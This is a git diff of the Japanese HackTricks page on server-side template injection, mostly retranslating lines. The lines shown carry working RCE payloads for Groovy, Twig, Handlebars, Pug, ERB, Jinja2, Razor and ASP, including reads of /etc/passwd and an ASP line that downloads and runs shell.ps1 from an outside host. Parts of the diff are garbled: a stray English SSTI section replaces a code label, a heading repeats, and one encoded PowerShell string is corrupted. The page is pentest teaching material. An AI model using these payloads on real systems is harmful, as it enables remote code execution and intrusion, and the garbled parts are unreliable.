@ -424,7 +424,7 @@ ELは、プレゼンテーション層（ウェブページ）がアプリケー
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
このセキュリティマネージャーのバイパスは、この[**レポート**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取られました。
|
||||
次のセキュリティマネージャーバイパスは、この[**解説記事**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取得されました。
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
|
@ -451,7 +451,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の普及を使命として**、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる活発な交流の場です。
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
|
@ -467,7 +467,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
**詳細情報**
|
||||
|
||||
* Smartyセクションについては[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)を参照してください。
|
||||
* Smartyセクションの[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
|
||||
### Twig (PHP)
|
||||
|
|
@ -475,8 +475,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
* `{{7*7}} = 49`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{7*'7'}} = 49`
|
||||
* `{{1/0}} = エラー`
|
||||
* `{{foobar}} 何もなし`
|
||||
* `{{1/0}} = Error`
|
||||
* `{{foobar}} Nothing`
|
||||
```python
|
||||
#Get Info
|
||||
{{_self}} #(Ref. to current application)
|
||||
|
|
@ -514,14 +514,14 @@ array("first_name" => $user.first_name)
|
|||
```
|
||||
**詳細情報**
|
||||
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) の Twig および Twig (Sandboxed) セクション
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のTwigとTwig（Sandboxed）セクションを参照してください。
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
|
||||
### Plates (PHP)
|
||||
### Plates（PHP）
|
||||
|
||||
PlatesはTwigに触発されたものですが、コンパイルされたテンプレートエンジンではなく、ネイティブPHPテンプレートエンジンです。
|
||||
PlatesはTwigに触発されたが、コンパイルされたテンプレートエンジンではなく、ネイティブのPHPテンプレートエンジンです。
|
||||
|
||||
コントローラー：
|
||||
controller:
|
||||
```php
|
||||
// Create new Plates instance
|
||||
$templates = new League\Plates\Engine('/path/to/templates');
|
||||
|
|
@ -529,14 +529,14 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
|||
// Render a template
|
||||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||
```
|
||||
ページテンプレート：
|
||||
ページのテンプレート:
|
||||
```php
|
||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||
|
||||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
layout template: レイアウトテンプレート：
|
||||
レイアウトテンプレート:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
|
@ -547,9 +547,9 @@ layout template: レイアウトテンプレート：
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### PHPlibとHTML_Template_PHPLIB (PHP)
|
||||
### PHPlib と HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB)はPHPlibと同じですが、Pearに移植されています。
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) は PHPlib と同じで、Pear にポーティングされています。
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
|
|
@ -573,7 +573,19 @@ layout template: レイアウトテンプレート：
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
`authors.php`
|
||||
## Server-Side Template Injection (SSTI)
|
||||
|
||||
### Description
|
||||
|
||||
Server-Side Template Injection (SSTI) occurs when an application allows user input to be evaluated by the server as a template. This can result in potential remote code execution.
|
||||
|
||||
### Exploitation
|
||||
|
||||
To exploit SSTI, an attacker can inject template code into user input fields, leading to the server processing and executing the injected code.
|
||||
|
||||
### Prevention
|
||||
|
||||
To prevent SSTI, avoid directly evaluating user input as templates on the server side. Use safe templating engines and sanitize user input before processing it.
|
||||
```php
|
||||
<?php
|
||||
//we want to display this author list
|
||||
|
|
@ -605,6 +617,8 @@ $t->parse('authorline_ref', 'authorline', true);
|
|||
echo $t->finish($t->parse('OUT', 'authors'));
|
||||
?>
|
||||
```
|
||||
### Jade (NodeJS)
|
||||
|
||||
### Jade (NodeJS)
|
||||
```javascript
|
||||
- var x = root.process
|
||||
|
|
@ -618,12 +632,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
```
|
||||
**詳細情報**
|
||||
|
||||
* Jadeセクションについては[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)を参照してください。
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のJadeセクションにあります。
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template)はコンパイルを行わないPHPテンプレートエンジンで、XMLタグを使用して文書を異なる部分に分割します。
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template)は、XMLタグを使用してドキュメントを異なる部分に分割する、コンパイルされないPHPテンプレートエンジンです。
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
|
|
@ -637,13 +651,13 @@ Hello {NAME}.<br/>
|
|||
```
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
パス トラバーサル（詳細は[こちら](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)）。
|
||||
パストラバーサル（詳細は[こちら](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)を参照）。
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
* \= エラー
|
||||
* ${7\*7} = ${7\*7}
|
||||
* 何もなし
|
||||
* 何も
|
||||
```java
|
||||
{{#with "s" as |string|}}
|
||||
{{#with "e"}}
|
||||
|
|
@ -668,18 +682,18 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
|
|||
URLencoded:
|
||||
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
|
||||
```
|
||||
**詳細情報**
|
||||
**詳細**
|
||||
|
||||
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
|
||||
|
||||
### JsRender (NodeJS)
|
||||
|
||||
| **テンプレート** | **説明** |
|
||||
| ---------------- | -------------------------------------- |
|
||||
| | 出力を評価し、レンダリングする |
|
||||
| | HTMLエンコードされた出力を評価し、レンダリングする |
|
||||
| | コメント |
|
||||
| and | コードを許可する（デフォルトでは無効） |
|
||||
| **テンプレート** | **説明** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | 出力を評価してレンダリングする |
|
||||
| | HTMLエンコードされた出力を評価してレンダリングする |
|
||||
| | コメント |
|
||||
| and | コードを許可（デフォルトでは無効） |
|
||||
|
||||
* \= 49
|
||||
|
||||
|
|
@ -706,7 +720,7 @@ URLencoded:
|
|||
var pugjs = require('pug');
|
||||
home = pugjs.render(injected_page)
|
||||
```
|
||||
**詳細情報**
|
||||
**詳細**
|
||||
|
||||
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
|
||||
|
||||
|
|
@ -714,7 +728,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
* \{{7\*7\}} = 49
|
||||
* \{{foo\}} = 出力なし
|
||||
* \#{7\*7} = \#{7\*7}
|
||||
* \#{7\*7} = #{7\*7}
|
||||
* \{{console.log(1)\}} = エラー
|
||||
```javascript
|
||||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
|
||||
|
|
@ -729,7 +743,7 @@ home = pugjs.render(injected_page)
|
|||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = エラー`
|
||||
* `<%= foobar %> = Error`
|
||||
```python
|
||||
<%= system("whoami") %> #Execute code
|
||||
<%= Dir.entries('/') %> #List folder
|
||||
|
|
@ -741,7 +755,7 @@ home = pugjs.render(injected_page)
|
|||
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
|
||||
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
|
||||
```
|
||||
**詳細情報**
|
||||
**詳細**
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||
|
||||
|
|
@ -757,7 +771,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Pythonでの**任意のコマンド実行をサンドボックスをバイパスして行う**トリックについては、以下のページを参照してください：
|
||||
Pythonで**砂箱をバイパスして任意のコマンドを実行するトリック**について学ぶには、以下のページをチェックしてください：
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
|
@ -767,7 +781,7 @@ Pythonでの**任意のコマンド実行をサンドボックスをバイパス
|
|||
|
||||
* `{{7*7}} = 49`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{foobar}} = エラー`
|
||||
* `{{foobar}} = Error`
|
||||
* `{{7*'7'}} = 7777777`
|
||||
```python
|
||||
{% raw %}
|
||||
|
|
@ -792,11 +806,11 @@ Pythonでの**任意のコマンド実行をサンドボックスをバイパス
|
|||
|
||||
[公式ウェブサイト](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2はPython用のフル機能を備えたテンプレートエンジンです。完全なユニコードサポートを持ち、オプションで統合されたサンドボックス実行環境があり、広く使用されておりBSDライセンスです。
|
||||
> Jinja2はPython向けのフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合された砂箱実行環境、広く使用されておりBSDライセンスです。
|
||||
|
||||
* `{{7*7}} = エラー`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{foobar}} 何もなし`
|
||||
* `{{foobar}} なし`
|
||||
* `{{4*4}}[[5*5]]`
|
||||
* `{{7*'7'}} = 7777777`
|
||||
* `{{config}}`
|
||||
|
|
@ -833,7 +847,7 @@ Pythonでの**任意のコマンド実行をサンドボックスをバイパス
|
|||
|
||||
|
||||
```
|
||||
[**`__builtins__`に依存しない**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) **RCE**:
|
||||
[**`__builtins__`に依存しないRCE**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/):
|
||||
```python
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
|
|
@ -844,7 +858,7 @@ Pythonでの**任意のコマンド実行をサンドボックスをバイパス
|
|||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
**Jinjaの悪用方法についての詳細**:
|
||||
**Jinjaの乱用方法の詳細**:
|
||||
|
||||
{% content-ref url="jinja2-ssti.md" %}
|
||||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
|
|
@ -863,15 +877,15 @@ ${x}
|
|||
* `@(2+2) <= 成功`
|
||||
* `@() <= 成功`
|
||||
* `@("{{code}}") <= 成功`
|
||||
* `@ <=成功`
|
||||
* `@ <= 成功`
|
||||
* `@{} <= エラー！`
|
||||
* `@{ <= エラー！`
|
||||
* `@(1+2)`
|
||||
* `@( //C#コード )`
|
||||
* `@( //C#Code )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
.NETの`System.Diagnostics.Process.Start`メソッドは、サーバー上で任意のプロセスを開始し、Webシェルを作成するために使用できます。脆弱なWebアプリの例は[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)で見つけることができます。
|
||||
.NETの`System.Diagnostics.Process.Start`メソッドを使用して、サーバー上で任意のプロセスを開始し、Webシェルを作成できます。脆弱なWebアプリの例は、[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) で見つけることができます。
|
||||
|
||||
**詳細情報**
|
||||
|
||||
|
|
@ -882,47 +896,47 @@ ${x}
|
|||
|
||||
* `<%= 7*7 %>` = 49
|
||||
* `<%= "foo" %>` = foo
|
||||
* `<%= foo %>` = 何もなし
|
||||
* `<%= response.write(date()) %>` = \<日付>
|
||||
* `<%= foo %>` = Nothing
|
||||
* `<%= response.write(date()) %>` = \<Date>
|
||||
```bash
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
**詳細情報**
|
||||
**詳細**
|
||||
|
||||
* [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Perlを使用していても、RubyのERBのようなタグを使用します。
|
||||
パールであっても、RubyのERBのようなタグを使用します。
|
||||
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = エラー`
|
||||
* `<%= foobar %> = Error`
|
||||
```
|
||||
<%= perl code %>
|
||||
<% perl code %>
|
||||
```
|
||||
### GOにおけるSSTI
|
||||
|
||||
バックエンドで使用されているテンプレートエンジンがGoであることを確認するために、以下のペイロードを使用できます：
|
||||
バックエンドで使用されているテンプレートエンジンがGoであることを確認する方法は、次のペイロードを使用できます：
|
||||
|
||||
* `{{ . }}` = テンプレートへの入力として渡されるデータ構造
|
||||
* 渡されたデータが例えばPassword属性を含むオブジェクトである場合、前述のペイロードはそれを漏洩させる可能性がありますが、`{{ .Password }}`とすることもできます。
|
||||
* `{{printf "%s" "ssti" }}` = レスポンスで文字列sstiを出力するはずです
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}` = 文字列 "ssti" を "js" や "html" という単語なしで出力する他のいくつかのペイロードです。エンジン内のさらなるキーワードについては[こちら](https://golang.org/pkg/text/template)を参照してください。
|
||||
- `{{ . }}` = テンプレートに渡されるデータ構造
|
||||
- 渡されたデータが例えばPassword属性を含むオブジェクトである場合、前述のペイロードはそれを漏洩させますが、`{{ .Password }}`のようにもできます
|
||||
- `{{printf "%s" "ssti" }}` = 応答に文字列sstiを出力するはずです
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}` = これらは、"js"や"html"といった後続する単語なしに文字列"ssti"を出力するいくつかの他のペイロードです。エンジンでさらにキーワードを参照できます[こちら](https://golang.org/pkg/text/template)。
|
||||
|
||||
**XSSの悪用**
|
||||
|
||||
サーバーが **text/template** パッケージを**使用している場合**、XSSは**単に**入力として**ペイロード**を提供することで非常に簡単に達成できます。しかし、**html/template** ではレスポンスをHTMLエンコードするため、これは当てはまりません： `{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
サーバーが**text/template**パッケージを使用している場合、**単純に**ペイロードを入力として提供することでXSSを簡単に達成できます。ただし、それは**html/template**の場合ではありません。応答をHTMLエンコードします：`{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
|
||||
しかし、Goでは**全体のテンプレートをDEFINEして、後でそれを呼び出す**ことができます。ペイロードは次のようになります：\
|
||||
ただし、Goでは**テンプレート全体を定義してから後で呼び出す**ことができます。ペイロードは次のようになります：\
|
||||
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
|
||||
|
||||
**RCEの悪用**
|
||||
|
||||
html/templateモジュールのドキュメントは[こちら](https://golang.org/pkg/html/template/)で見つけることができ、text/templateモジュールのドキュメントは[こちら](https://golang.org/pkg/text/template/)で見つけることができます。そして、はい、それらは大きく異なります。例えば、**text/template**では、"call"値を使って**任意の公開関数を直接呼び出す**ことができますが、html/templateではそうはいきません。
|
||||
html/templateモジュールとtext/templateモジュールのドキュメントは[こちら](https://golang.org/pkg/html/template/)で見つけることができ、はい、かなり異なります。例えば、**text/template**では、「call」値を使用して**任意の公開関数を直接呼び出す**ことができますが、**html/template**ではそうではありません。
|
||||
|
||||
GoでSSTIを介してRCEを見つけたい場合、`{{ . }}`でテンプレートに渡されたオブジェクトにアクセスできるように、**オブジェクトのメソッドを呼び出す**こともできることを知っておくべきです。したがって、渡された**オブジェクトにSystemというメソッドがあり、与えられたコマンドを実行する**場合、それを悪用することができます： `{{ .System "ls" }}`\
|
||||
そのため、おそらく**ソースコードが必要になる**でしょう。そのようなものの潜在的なソースコードは次のようになります：
|
||||
GoでSSTIを介してRCEを見つけたい場合、テンプレートに渡されたオブジェクトに`{{ . }}`でアクセスできるように、**オブジェクトのメソッドを呼び出す**こともできます。したがって、渡されたオブジェクトにSystemというコマンドを実行するメソッドがあると想定すると、`{{ .System "ls" }}`で悪用できます。\
|
||||
したがって、おそらく**ソースコードが必要**になります。そのようなものの潜在的なソースコードは次のようになります：
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
|
@ -934,9 +948,9 @@ return string(out)
|
|||
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
|
||||
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||
|
||||
### その他のエクスプロイト
|
||||
### その他の攻撃手法
|
||||
|
||||
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) でさらに多くのエクスプロイトを確認してください。また、[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) で興味深いタグ情報を見つけることができます。
|
||||
他の攻撃手法については、[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)をチェックしてください。また、興味深いタグ情報は[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)で見つけることができます。
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
|
|
@ -944,7 +958,7 @@ return string(out)
|
|||
|
||||
## 関連するヘルプ
|
||||
|
||||
役立つと思われる場合は、以下を読んでください：
|
||||
役立つと思われる場合は、以下を参照してください：
|
||||
|
||||
* [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
|
||||
* [Python magic functions](broken-reference/)
|
||||
|
|
@ -963,7 +977,7 @@ return string(out)
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
## 練習と参考資料
|
||||
## 練習＆参考
|
||||
|
||||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
|
@ -971,20 +985,20 @@ return string(out)
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識の普及を使命として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Reference in a new issue